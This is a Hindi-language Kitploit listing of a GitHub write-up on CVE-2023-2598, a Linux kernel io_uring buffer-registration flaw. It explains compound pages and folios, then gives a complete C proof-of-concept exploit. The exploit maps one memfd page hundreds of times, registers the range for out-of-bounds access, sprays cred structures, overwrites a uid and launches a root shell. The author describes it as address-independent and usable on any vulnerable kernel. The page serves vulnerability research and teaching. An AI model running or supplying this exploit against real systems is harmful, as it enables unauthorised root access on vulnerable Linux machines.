Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2023-2598 — CVE-2023-2598 के लिए तकनीकी विश्लेषण और प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, io_uring के बफर रजिस्ट्रेशन में लिनक्स कर्नेल विशेषाधिकार वृद्धि (privilege escalation) की एक कमजोरी, जिसमें Compound Page और फोलियो (folio) आंतरिक संरचनाओं का विस्तृत विवरण दिया गया है। | Kitploit
उपकरण/GitHubGitHub/cainiao159357/cve-2023-2598
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणपेपर और शोधलर्निंग और शिक्षाबाइनरी शोषण
GitHubcainiao159357/cve-2023-2598

CVE-2023-2598

CVE-2023-2598 के लिए तकनीकी विश्लेषण और प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, io_uring के बफर रजिस्ट्रेशन में लिनक्स कर्नेल विशेषाधिकार वृद्धि (privilege escalation) की एक कमजोरी, जिसमें Compound Page और फोलियो (folio) आंतरिक संरचनाओं का विस्तृत विवरण दिया गया है।

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखें
2 साल पहलेअभी तक समीक्षित नहीं

CVE-2023-2598 विशेषाधिकार वृद्धि

CVE-2023-2598 के माध्यम से लिनक्स में Compound Page और folio तंत्र को समझें, फिर देखें कि क्या हम 1day CVE-2023-6560 का उपयोग कर सकते हैं।

Compound Page (huge page)

मेमोरी लगातार बढ़ रही है, लेकिन लिनक्स का मूल पृष्ठ आवंटन इकाई 4K अपर्याप्त होता जा रहा है, इसलिए इस समस्या को हल करने के लिए कम्पाउंड पेज प्रस्तुत किए गए। कम्पाउंड पेज वास्तव में कई पृष्ठों को एक सेट के रूप में लेना है, दो या अधिक भौतिक रूप से सन्निहित पृष्ठों को एक इकाई में जोड़ना, जिसे कई मायनों में एक ही बड़े पृष्ठ के रूप में देखा जा सकता है। इनका उपयोग अक्सर बड़े पृष्ठ बनाने के लिए किया जाता है, जैसे कि hugetlbfs या ट्रांसपेरेंट ह्यूज पेज (transparent huge pages) उपप्रणाली में, लेकिन ये अन्य परिदृश्यों में भी दिखाई देते हैं। कम्पाउंड पेज का उपयोग अनाम मेमोरी के रूप में या कर्नेल में बफ़र्स के रूप में किया जा सकता है; हालांकि, ये पेज कैश में प्रकट नहीं हो सकते, पेज कैश केवल एकल पृष्ठों को संभाल सकता है।

कम्पाउंड पृष्ठ आवंटित करना alloc_pages() को कॉल करना और __GFP_COMP आवंटन फ़्लैग और 1 से अधिक पृष्ठ फ़्रेम संख्या सेट करना है, यानी ऑर्डर कम से कम 1 होना चाहिए। यह कम्पाउंड पेज कार्यान्वयन तंत्र द्वारा निर्धारित होता है।

ध्यान दें कि कम्पाउंड पेज हमेशा भौतिक रूप से सन्निहित होते हैं

पहले पृष्ठ के फ़्लैग में PG_head चिह्नित होता है, जो इसे कम्पाउंड पेज शीर्ष पृष्ठ के रूप में दर्शाता है;

उसके बाद के सभी पृष्ठों में दो गुण कॉन्फ़िगर किए जाते हैं: mapping और compound_head, और compound_head के माध्यम से पुष्टि की जाती है कि यह अंतिम पृष्ठ है या शीर्ष पृष्ठ, विस्तार के लिए compound_head() फ़ंक्शन देखें;

दूसरे पृष्ठ में अधिक कम्पाउंड पेज जानकारी संग्रहीत होती है, यही कारण है कि कम्पाउंड पेज का ऑर्डर कम से कम 1 होता है;

root@kitploit:~
static inline unsigned long _compound_head(const struct page *page)
{
        unsigned long head = READ_ONCE(page->compound_head);
 
        if (unlikely(head & 1))
                return head - 1;
        return (unsigned long)page;
}

इस प्रकार यह फ़ील्ड न केवल फ़्लैग शामिल करता है, बल्कि शीर्ष पृष्ठ की ओर एक पॉइंटर भी शामिल करता है।

इसलिए जब कोई page प्राप्त होता है तो आसानी से जांचा जा सकता है कि यह कम्पाउंड पेज है या नहीं, और यदि है तो यह शीर्ष पृष्ठ है या अंतिम पृष्ठ। लेकिन एक महत्वपूर्ण जानकारी अभी भी गायब है, वह है इस कम्पाउंड पेज का आकार। यदि कम्पाउंड पेज का आकार ज्ञात नहीं है, तो जब इस कम्पाउंड पेज को मुक्त किया जाएगा, तो आकार जानना आवश्यक होगा। यह सारी जानकारी पहले अंतिम पृष्ठ के lru फ़ील्ड में संग्रहीत होती है; कम्पाउंड पेज के आकार (order) को पहले पॉइंटर प्रकार में बदलकर lru.prev में संग्रहीत किया जाता है, और विनाशक फ़ंक्शन को lru.next में संग्रहीत किया जाता है।

जब तक शीर्ष पृष्ठ और कम्पाउंड पेज का आकार ज्ञात हो, तब तक इस बड़े पृष्ठ को सही ढंग से मुक्त किया जा सकता है, क्योंकि कम्पाउंड पेज भौतिक रूप से सन्निहित होते हैं।

संरचना नीचे दिए गए चित्र में दिखाई गई है

img

folio

folio को page के एक आवरण के रूप में देखा जा सकता है, बिना किसी ओवरहेड के। folio एकल पृष्ठ या कम्पाउंड पेज हो सकता है।

img

ऊपर दिया गया चित्र page संरचना का [योजनाबद्ध आरेख] है, 64 बाइट्स में flags, lru, mapping, index, private, {ref_, map_}count, memcg_data आदि जानकारी प्रबंधित होती है। जब page एक कम्पाउंड पेज होता है, तो उपरोक्त flags आदि जानकारी head page में होती है, और tail page compound_{head, mapcount, order, nr, dtor} आदि जानकारी प्रबंधित करने के लिए पुनः उपयोग करता है।

root@kitploit:~
struct folio {
        /* private: don't document the anon union */
        union {
                struct {
        /* public: */
                        unsigned long flags;
                        struct list_head lru;
                        struct address_space *mapping;
                        pgoff_t index;
                        void *private;
                        atomic_t _mapcount;
                        atomic_t _refcount;
#ifdef CONFIG_MEMCG
                        unsigned long memcg_data;
#endif
        /* private: the union with struct page is transitional */
                };
                struct page page;
        };
};

folio की संरचना परिभाषा में, flags, lru आदि जानकारी page से पूरी तरह मेल खाती है, इसलिए इसका page के साथ union किया जा सकता है। इस प्रकार सीधे folio->flags का उपयोग किया जा सकता है, folio->page->flags के बजाय।

root@kitploit:~
#define page_folio(p)           (_Generic((p),                          \
        const struct page *:    (const struct folio *)_compound_head(p), \
        struct page *:          (struct folio *)_compound_head(p)))

#define nth_page(page,n) ((page) + (n))
#define folio_page(folio, n)    nth_page(&(folio)->page, n)

पहली नज़र में page_folio थोड़ा भ्रमित कर सकता है, लेकिन यह इसके बराबर है:

root@kitploit:~
switch (typeof(p)) {
  case const struct page *:
    return (const struct folio *)_compound_head(p);
  case struct page *:
    return (struct folio *)_compound_head(p)));
}

page_folio मैक्रो के माध्यम से, यह पता चलता है कि folio वास्तव में एक कम्पाउंड पेज का head page है। जब folio को page में परिवर्तित किया जाता है, तो folio->page का उपयोग head page प्राप्त करने के लिए किया जाता है, और folio_page(folio, n) का उपयोग tail page प्राप्त करने के लिए किया जा सकता है।

तो folio की आवश्यकता क्यों है? अधिकतर, यह विकास और दक्षता के लिए है। यदि folio नहीं है, तो फ़ंक्शन के अंदर यह निर्धारित नहीं किया जा सकता कि वर्तमान page head page है या नहीं, इसलिए _compound_head को कॉल करना होगा। यदि निष्पादन पथ अधिक हैं, तो पथ के प्रत्येक फ़ंक्शन में _compound_head का उपयोग करने से दक्षता प्रभावित होगी। लेकिन यदि फ़ंक्शन केवल struct folio * पैरामीटर स्वीकार करता है, तो यह folio head page की ओर इशारा करेगा, इसलिए फ़ंक्शन को _compound_head को कॉल करने की आवश्यकता नहीं है।

इसलिए मुख्य रूप से तीन उपयोग हैं:

  1. बहुत अधिक अनावश्यक compound_head कॉल को कम करना।

  2. डेवलपर्स को संकेत देना: folio देखकर, यह समझा जा सकता है कि यह head page है।

  3. संभावित tail page से उत्पन्न बग को ठीक करना।

भेद्यता सिद्धांत

io_uring के io_uring_register_buffer में, निम्नलिखित तर्क है

image-20240830214419290

जब उपयोगकर्ता-मोड द्वारा पास किया गया पृष्ठ 1 से अधिक है, तो io_uring जांच करेगा कि पास किया गया buffer folio है या नहीं। जांच विधि page_folio() का उपयोग करके page[i] का head page प्राप्त करना है। यदि page[i] का head page page[0] के बराबर है, तो इसे एक ही कम्पाउंड पेज तालिका माना जाता है।

सामान्यत: यह प्रसंस्करण समस्या नहीं है, लेकिन एक विशेष स्थिति है: यदि उपयोगकर्ता-मोड mmap का उपयोग करके एक भौतिक पृष्ठ तालिका को सन्निहित आभासी पते पर मैप करता है, तो यह भी इस स्थिति को पूरा करेगा, और अंततः इस शाखा में प्रवेश करेगा

image-20240830225137539

इस समय, उपयोगकर्ता-मोड ने केवल एक भौतिक पृष्ठ आवंटित किया है, लेकिन अंतिम size सन्निहित आभासी पतों का size है, जिससे size वास्तव में आवंटित भौतिक पता क्षेत्र से बड़ा हो सकता है। अंततः अतिप्रवाह पढ़ने/लिखने का कारण बनता है।

भेद्यता का उपयोग

cred को स्प्रे करें, फिर इस सीमा-पार पढ़ने/लिखने इंटरफ़ेस का उपयोग करके uid को संशोधित करें।

इंटरनेट पर उस exp की तुलना में, यह exp uid को बदलता है, इसलिए कोई पता निर्भरता नहीं है। यदि यह भेद्यता मौजूद है, तो इस exp का उपयोग किया जा सकता है।

root@kitploit:~
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <liburing.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <mqueue.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <assert.h>

#define COLOR_RED "\033[1;31m"
#define COLOR_GREEN "\033[1;32m"
#define COLOR_RESET "\033[0m"
#define PAGE_SIZE 0x1000
#define MAX_PAGES 100
#define CRED_DRAIN 100
#define CRED_SPRAY 600

#define check_ret(ret, buf) do { if((ret) < 0) { err_exit(buf); } } while(0)

int check_root_pipe[2];
char bin_sh_str[] = "/bin/sh";
char *shell_args[] = { bin_sh_str, NULL };
char child_pipe_buf[1];
char root_str[] = "\033[32m\033[1m[+] Successful to get the root.\n"
                  "\033[34m[*] Execve root shell now...\033[0m\n";
struct timespec timer = {
    .tv_sec = 1145141919,
    .tv_nsec = 0,
};

void err_exit(char *buf){
    fprintf(stderr, "%s[-]%s : %s%s\n", COLOR_RED, buf, strerror(errno), COLOR_RESET);
    exit(-1);
}
void log(char *buf){
    fprintf(stdout,"%s[+]%s%s\n",COLOR_GREEN,buf,COLOR_RESET);
}
void cred_drain(){
    for(int i=0;i<CRED_DRAIN;i++){
        int ret=fork();
        if(!ret){
            read(check_root_pipe[0],child_pipe_buf,1);
            if(getuid()==0){
                write(1, root_str, 71);
                system("/bin/sh");
            }
            sleep(100000000);
        }
        check_ret(ret,"fork fail");
    }
}
void clear_buddy(){
    void * pages[MAX_PAGES];
    for(int i=0;i<MAX_PAGES;i++){
        pages[i]=mmap(0x60000000+i*0x200000UL,PAGE_SIZE,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0);
        check_ret(pages[i],"mmap");
    }
    for(int i=0;i<MAX_PAGES;i++){
        *(char *)pages[i]='a';
    }
}
__attribute__((naked)) long simple_clone(int flags, int (*fn)(void *))
{
    /* for syscall, it's clone(flags, stack, ...) */
    __asm__ volatile (
        " mov r15, rsi\n"   /* save the rsi*/
        " xor rsi, rsi\n"   /* set esp and useless args to NULL */
        " xor rdx, rdx\n"
        " xor r10, r10\n"
        " xor r8, r8\n"
        " xor r9, r9\n"
        " mov rax, 56\n"   /* __NR_clone */
        " syscall\n"
        " cmp rax, 0\n"
        " je child_fn\n"
        " ret\n"   /* parent */
        "child_fn:    \n"
        " jmp r15\n"   /* child */
    );
}


int waiting_for_root_fn(void *args)
{
    /* we're using the same stack for them, so we need to avoid cracking it.. */
    __asm__ volatile (
        "   lea rax, [check_root_pipe]\n"
        "   xor rdi, rdi\n"
        "   mov edi, dword ptr [rax]\n"
        "   mov rsi, child_pipe_buf\n"
        "   mov rdx, 1\n"
        "   xor rax, rax\n" /* read(check_root_pipe[0], child_pipe_buf, 1)*/
        "   syscall\n"
        "   mov rax, 102\n" /* getuid() */
        "   syscall\n"
        "   cmp rax, 0\n"
        "   jne failed\n"
        "   mov rdi, 1\n"
        "   lea rsi, [root_str]\n"
        "   mov rdx, 80\n"
        "   mov rax, 1\n"    /* write(1, root_str, 71) */
        "   syscall\n"
        "   lea rdi, [bin_sh_str]\n"
        "   lea rsi, [shell_args]\n"
        "   xor rdx, rdx\n"
        "   mov rax, 59\n"
        "   syscall\n"   /* execve("/bin/sh", args, NULL) */
        "failed: \n"
        "   lea rdi, [timer]\n"
        "   xor rsi, rsi\n"
        "   mov rax, 35\n"  /* nanosleep() */
        "   syscall\n"
    );
    return 0;
}


int main(){
    cpu_set_t set;
	CPU_ZERO(&set);
	CPU_SET(sched_getcpu(), &set);
	if (sched_setaffinity(0, sizeof(set), &set) < 0) {
		perror("sched_setaffinity");
		exit(EXIT_FAILURE);
	}
    struct io_uring ring;
    struct io_uring_sqe *sqe;
    struct io_uring_cqe *cqe;
    int ret;
    int memfd;
    int rw_fd;
    struct iovec iovec;
    char *rw_buffer;
    uint64_t start_addr=0x800000000;
    int nr_pages=500;
    char buf[1000];
    //清空cred cache
    log("drain cred cache");
    pipe(check_root_pipe);
    cred_drain();
    //清空buddy system cache
    log("clear buddy system cache");
    clear_buddy();
    //初始化io_uring
    log("io_uring_setup");
    ret=io_uring_queue_init(8,&ring,0);
    check_ret(ret,"io_uring_setup fail");
    //准备缓冲区
    log("prepare buf to register");
    memfd=memfd_create("io_register_buf",MFD_CLOEXEC);
    check_ret(memfd,"memfd_create fail");
    rw_fd=memfd_create("read_write_file",MFD_CLOEXEC);
    check_ret(rw_fd,"memfd_create fail");
    check_ret(fallocate(memfd, 0, 0, 1 * PAGE_SIZE),"fallocate fail");
    check_ret(fallocate(rw_fd, 0, 0, 1 * PAGE_SIZE),"fallocate fail");
    for(int i=0;i<nr_pages;i++){
        check_ret(mmap(start_addr+i*0x1000,PAGE_SIZE,PROT_READ|PROT_WRITE,MAP_SHARED|MAP_FIXED,memfd,0),"mmap fail");
    }
    rw_buffer=mmap(NULL,PAGE_SIZE,PROT_READ|PROT_WRITE,MAP_SHARED,rw_fd,0);
    check_ret(rw_buffer,"mmap fail");
    //注册缓冲区
    log("register buffer");
    iovec.iov_base=start_addr;
    iovec.iov_len=nr_pages*PAGE_SIZE;
    check_ret(io_uring_register_buffers(&ring,&iovec,1),"io_ring_register_buffer fail");
    //spray cred
    log("spray cred");
    for(int i=0;i<CRED_SPRAY;i++){
        check_ret(simple_clone(CLONE_FILES | CLONE_FS | CLONE_VM | CLONE_SIGHAND, waiting_for_root_fn),"clone fail");
    }
    //search cred page
    log("search crea page");
    int page_offset=0;
    for(int i=0;i<nr_pages;i++){
        sqe=io_uring_get_sqe(&ring);
        check_ret(sqe,"io_uring_get_sqe fail");
        io_uring_prep_write_fixed(sqe,rw_fd,start_addr+i*PAGE_SIZE,PAGE_SIZE,0,0);
        check_ret(io_uring_submit(&ring),"io_uring_submit fail");
        io_uring_wait_cqe(&ring, &cqe);
        io_uring_cqe_seen(&ring, cqe);
        int uid=((int *)(rw_buffer))[1];
        int gid=((int *)(rw_buffer))[2];
        if(uid==1000 && gid==1000){
            page_offset=i;
            break;
        }
    }
    if(page_offset==0){
        err_exit("not find cred page");
    }
    //edit cred's uid
    log("/edit cred's uid");
    *(size_t *)(rw_buffer)=0x2;
    sqe=io_uring_get_sqe(&ring);
    check_ret(sqe,"io_uring_get_sqe fail");
    io_uring_prep_read_fixed(sqe,rw_fd,start_addr+page_offset*PAGE_SIZE,8,0,0);
    check_ret(io_uring_submit(&ring),"io_uring_submit fail");
    io_uring_wait_cqe(&ring, &cqe);
    io_uring_cqe_seen(&ring, cqe);


    sqe=io_uring_get_sqe(&ring);
    check_ret(sqe,"io_uring_get_sqe fail");
    io_uring_prep_write_fixed(sqe,rw_fd,start_addr+page_offset*PAGE_SIZE,PAGE_SIZE,0,0);
    check_ret(io_uring_submit(&ring),"io_uring_submit fail");
    io_uring_wait_cqe(&ring, &cqe);
    io_uring_cqe_seen(&ring, cqe);
    //check privilege in child processes
    log("check privilege in child processes");
    write(check_root_pipe[1],buf, CRED_SPRAY+CRED_DRAIN);
    sleep(100000000);
}

चिंतन

इस कोड पर ध्यान दें

image-20240830230232004

यदि पास किया गया वास्तव में एक कम्पाउंड पेज है और पंजीकृत है, तो io_uring बाद के पृष्ठों के संदर्भ काउंट में वृद्धि नहीं करेगा। यदि उपयोगकर्ता-मोड इस कम्पाउंड पेज के बीच में मैपिंग रद्द करता है, तो संबंधित मेमोरी क्षेत्र केवल 1 संदर्भ के कारण पूरी तरह से मुक्त हो जाएगा, लेकिन io_uring में दर्ज size में कोई बदलाव नहीं होगा, तो io_uring के माध्यम से सीमा-पार पढ़ना/लिखना संभव हो सकता है। दुर्भाग्य से, मेरे परीक्षण के अनुसार, लिनक्स कम्पाउंड पेज के बीच से मैपिंग रद्द करने की अनुमति नहीं देता है, हालांकि यह उचित है क्योंकि यदि ऐसा संभव होता, तो पृष्ठों का प्रबंधन करना कठिन होगा।

टूल डाउनलोड करें